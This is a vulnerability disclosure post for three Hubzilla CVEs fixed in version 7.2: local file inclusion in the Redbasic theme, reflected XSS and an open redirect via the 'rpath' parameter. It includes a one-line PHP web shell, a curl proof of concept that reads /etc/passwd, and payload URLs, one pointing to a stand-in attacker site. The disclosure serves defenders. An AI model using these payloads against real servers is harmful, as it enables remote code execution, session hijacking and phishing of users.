Hubzilla < 7.2 - Multiple vulnerabilities

Published: 2022-04-12 disclosure hubzilla infosec

While looking at the source code for Hubzilla, I discovered a few low-hanging security vulnerabilities. These are a Local File Inclusion vulnerability in the standard theme, and two vulnerabilities in the settings modules, a Cross-Site scripting (XSS) vulnerability and an Open Redirect vulnerability, both via the `rpath` URL query parameter.

Fixes for all of these issues were released in version 7.2 on March 29, 2022.

CVE-2022-27257: Local file inclusion/Directory traversal in Redbasic theme for Hubzilla

The RedBasic theme does not validate the `$_REQUEST['schema']` argument before using it in a `require_once` call, leading to a Local File Inclusion (LFI) vulnerability. Further it does not check the filename for directory separators or other special chars, leading to a directory traversal vulnerability.

This allows an attacker to directly run PHP code from any known location in the file system where the web server process has read access. This includes files in the Hubzilla source three that would otherwise be protected by the default server configuration that redirects all requests to pass through the Hubzilla routing logic.

Details

- Application: Hubzilla
- Component: Redbasic (default/builtin theme)
- Vulnerable versions: Any version before 7.2
- Fixed in version: 7.2

Classification

- CWE: CWE-20, CWE-22
- CVSS Score: 8.3 (High)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

Relevant code:

```
 1 if($_REQUEST['schema']) {
 2         $schema = $_REQUEST['schema'];
 3 }
 4
 5 if (($schema) && ($schema != '---')) {
 6
 7         // Check it exists, because this setting gets distributed to clones
 8         if(file_exists('view/theme/redbasic/schema/' . $schema . '.php')) {
 9                 $schemefile = 'view/theme/redbasic/schema/' . $schema . '.php';
10                 require_once ($schemefile);
11         }
12
```

```
12
13         if(file_exists('view/theme/redbasic/schema/' . $schema . '.css')) {
14                 $schemecss = file_get_contents('view/theme/redbasic/schema/' . $sche
15         }
16
17 }
```

Proof of concept:

Given a file `shell.php` somewhere in the server file system:

```
<?php system($_REQUEST['cmd']); ?>
```

Any command can be executed by a remote, unauthenticated attacker, like this:

```
$ curl -s 'https://example.com/view/theme/redbasic/php/style.pcss?f=&puid=2&schema=..
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
```

Mitigating factors

As Hubzilla will rename uploaded files to a GUID, it's not trivially possible to upload a malicious file to be exploited by this weakness by itself. It requires another way to upload the malicious file, or by finding an existing file that is exploitable within or outside of the Hubzilla directory tree.

CVE-2022-27258: Reflected Cross-Site Scripting in Hubzilla settings modules

A number of settings modules does not sanitise or escape the `rpath` query parameter before outputting it into an html attribute, leading to a reflected Cross-Site Scripting (XSS) vulnerability.

An attacker could use this to inject arbitrary JavaScript into a victims' session by enticing them to click a link.

Details

- Application: Hubzilla
- Component: Settings modules

- Vulnerable versions: Any version before 7.2
- Fixed in version: 7.2

Classification

- CWE: CWE-79
- CVSS Score: 7.4 (High)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Relevant code

Example from `Zotlabs/Module/Settings/Calendar.php`:

```
32                $rpath = (($_GET['rpath']) ? $_GET['rpath'] : '');
33
34                $tpl = get_markup_template("settings_module.tpl");
35
36                $o .= replace_macros($tpl, array(
37                        '$rpath' => $rpath,
38                        '$action_url' => 'settings/' . $module,
39                        '$form_security_token' => get_form_security_token('settings_
40                        '$title' => t('Calendar Settings'),
41                        '$features'  => process_module_features_get(local_channel(),
42                        '$submit'    => t('Submit')
43                ));
```

The highlighted lines show how the query parameter `rpath` is passed directly to the template `settings_module.tpl`:

```
 8                {{if $rpath}}
 9                <input type='hidden' name='rpath' value='{{$rpath}}'>
10                {{/if}}
```

Where it is used without further escaping in a html element attribute.

Related source files:

- `Zotlabs/Module/Settings/Calendar.php`
- `Zotlabs/Module/Settings/Channel_home.php`
- `Zotlabs/Module/Settings/Connections.php`
- `Zotlabs/Module/Settings/Directory.php`
- `Zotlabs/Module/Settings/Editor.php`
- `Zotlabs/Module/Settings/Events.php`
- `Zotlabs/Module/Settings/Manage.php`
- `Zotlabs/Module/Settings/Network.php`
- `Zotlabs/Module/Settings/Photos.php`
- `Zotlabs/Module/Settings/Profiles.php`
- `View/tpl/settings_module.tpl`

Proof of concept:

```
https://example.com/settings/calendar/?f=&rpath=https://example.com/cdav/calendar'><s
```

CVE-2022-27256: Open Redirect in Hubzilla settings modules

When submitting a change in one of the affected settings modules above, the `rpath` query parameter is is passed on as a POST parameter and used blindly to redirect after submitting the form, leading to an open redirect vulnerability.

An attacker can use this to trick a victim to give them sensitive information by first directing them to change a setting and then redirect to an attacker controlled site after the victim submits the changes. For example by making malicious site look like the Hubzilla login form and convincing the victim they need to authenticate to save the changes.

Details

- Application: Hubzilla
- Component: Settings modules
- Vulnerable versions: Any version before 7.2
- Fixed in version: 7.2

Classification

- CWE: CWE-601
- CVSS Score: 4.7 (Medium)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Relevant code:

Example from `Zotlabs/Module/Settings/Calendar.php`:

```
21          if($_POST['rpath'])
22                      goaway($_POST['rpath']);
```

Here the POST parameter `rpath` is passed directly to the `goaway()` function, that simply causes a redirect to the supplied URL without any further checking.

Proof of concept:

```
https://example.com/settings/calendar/?f=&rpath=https://evilsite.org/auth.php
```

Subscribe: Atom/RSS